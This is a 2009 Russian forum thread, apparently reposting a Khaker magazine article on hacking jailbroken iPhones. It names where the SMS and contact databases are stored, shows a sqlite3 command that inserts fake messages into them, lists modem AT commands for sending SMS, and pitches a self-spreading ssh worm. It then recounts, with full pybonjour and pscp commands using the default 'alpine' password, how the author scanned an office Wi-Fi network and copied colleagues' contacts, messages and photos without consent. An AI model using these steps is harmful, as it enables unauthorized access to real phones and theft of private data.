Форумы Смартфоны IOS(iPhone/iPad/iPod) Взлом Iphone
.Stk(Off)
(09.03.09 09:11)
База SMS лежит тут — /var/mobile/Library/ SMS/sms.db, адресная книга тут — /var/mobile/
Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).
Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-запросом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messages в sms.db и табли-ца ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя
— мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами.
.Stk(Off)
(09.03.09 09:11)
И, конечно, используй sqlite3 в целях мира во всем мире: sqlite3 sms.db "INSERT INTO messages VALUES(0, ' 0000000', 1354321900, ' МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР',1,0,NULL,0,0,0,0,0)
" Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе). AT OM FG!
Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/tty.baseband) обычно недоступен — на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/tty.debug. Чтобы поговорить с модемом, можно использовать mincom (он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по
умолчанию он пытается соединиться с /dev/modem. Но если ты торопишься, создай симлинк -ln/dev/tty.baseband /dev/modem (симлинки на телефоне — это очень круто).
.Stk(Off)
(09.03.09 09:11)
Теперь запусти minicom и начинай отдавать AT-команды. К примеру, команда AT CBC, сообщит тебе об уровне заряда батарейки: AT CBC CBC: 0,65 OK
Батарейка заряжена на 65%, и еще на какое-то время ее хватит. Теперь можно позвонить, отправить sms или подключить какую-нибудь хорошую услугу. Давай отправим sms — это меньшее, что мы можем сделать после того, как прочитали все имеющиеся. AT CMGF=1 // Модем переключается в текстовый режим (0 — голос, 1 — текст) и возвращает OK. “AT CMGW=“ 712345678“ // Здесь начинается, собственно, сообщение. Номер абонента — часть команды. Модем вернет приглашение ввести текст
сообщения. > Welcome... to the world of tomorrow! // Сообщение кончится, когда модем получит EOF — теперь оно будет записано в память. Модем вернет OK и CMGW: N, где N — индекс сообщения в памяти модема. AT CMSS=N // Отправка сообщения, индекс которого — N, вернет OK, если сообщение успешно отправлено.
.Stk(Off)
(09.03.09 09:31)
Список AT-команд не менялся уже много лет. Используя их, ты сможешь отправлять SMS, набирать телефонные номера и изучать свойства аппаратной части iPhone. Для того чтобы отдавать AT-команды прямо из командной строки, было написано несколько утилит. Например, команда iPhone Elite выпустила утилиту sendmodem. Протолкнув sendmodem на iPhone, ты сможешь использовать
ее саму по себе или в скриптах. Исходный код утилиты — прекрасный пример того, как отдавать AT-команды программно.
Перспективы
Как видишь, даже без особой подготовки можно найти и поюзать iPhone, получив при этом огромное удовольствие. А если ты подготовишься, то сможешь сделать куда больше. Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С.
.Stk(Off)
(09.03.09 09:31)
Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее. Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге — можно было бы обойтись 10-15 строчками кода). В общем, iPhone — действительно революционное устройство.
.Stk(Off)
(09.03.09 09:32)
И ЕЩЕ НЕМНОГО gorl хулиганит
Так уж вышло, что в офисе нашей редакции очень много айфонов. И если ты вдруг появишься с Nokia (а я большой поклонник N95, хоть и переквалифицировался на Apple), то на тебя будут очень сочувствен-
но и активно смотреть, мол, ничего, бонус получишь и тоже обайфонишься.
Движимый благородными чувствами, я решил поломать все имеющиеся в области досягаемости нашей wifi-сети яблочные телефоны, чтобы их владельцы не так сильно смущали нормальных людей.
Логика, конечно, слабенькая, но допустимая. Хоть мака у меня под руками и не было, больших сложностей после прочтения статьи у меня не возникло. Скачал для своего домашнего питона модуль pybonjour (http://o2s. sail.mit.edu/o2s-wiki/pybonjour), который позволяет в реальном времени следить за zeroconf-совместимыми сервисами. Подредактировал скрипт browse_and_resolve.py из комплекта модуля так, чтобы он обнаруживал только ssh-сервисы: sys.argv заменил на '_ssh._tcp' — и никаких тебе аргументов запуска. Потом в callback-функции добавил, чтобы для каждого hostname запускался тред с pscp.exe (из комплекта Putty) и скачивал список контактов, смс и все фотографии (%s — это хост айфона).
.Stk(Off)
(09.03.09 09:36)
Параметры запуска для контактов: pscp.exe -r -pw alpine root@%s:/var/mobile/Library/
AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\ Для фоткок:
pscp.exe -r -pw alpine root@%s:/var/mobile/media/ DCIM X:\iphones.db\%s\ Для базы SMS: pscp.exe -r -pw alpine root@%s:/var/mobile/Library/ SMS/sms.db X:\iphones.db\%s\
Также потребовалась копия этих команд для старых прошивок: все то же самое, только 'root' вместо 'mobile'. После запуска скрипта чужая приватная инфа не заставила себя ждать. Однако если с просмотром фоток все понятно (jpeg — он и на айфоне
jpeg), то, чтобы прочесть смс и адресную книгу, пришлось скачать специальную утилитку для работы с базами sqlite (http://sqlitebrowser. sourceforge.net).
Вывести с ее помощью все контакты из файла AddressBook.sqlitedb помог простенький запроc:
SELECT ABPerson.Last, ABPerson.First, ABMultiValue.
value FROM ABPerson, ABMultiValue
WHERE ABPerson.ROWID = ABMultiValue.record_id
ORDER BY ABPerson.Last
Чтобы не побили, хожу теперь по офису и делаю всем passwd.
.Stk(Off)
(09.03.09 09:46)
смайл
.ARAB(Off)
(09.03.09 18:17)
смайл
Да, Димон рулитыы
.Stk(Off)
(09.03.09 18:34)
Да, Димон рулитыы
Совсем не он, а журнал Хакер! гы
Страница:
«Пред.| След.»
123456
Стр.

Меню Главная
7ba.Ru
MobTop - top mobile rating
[Сжатие: 38%]
[0.0131]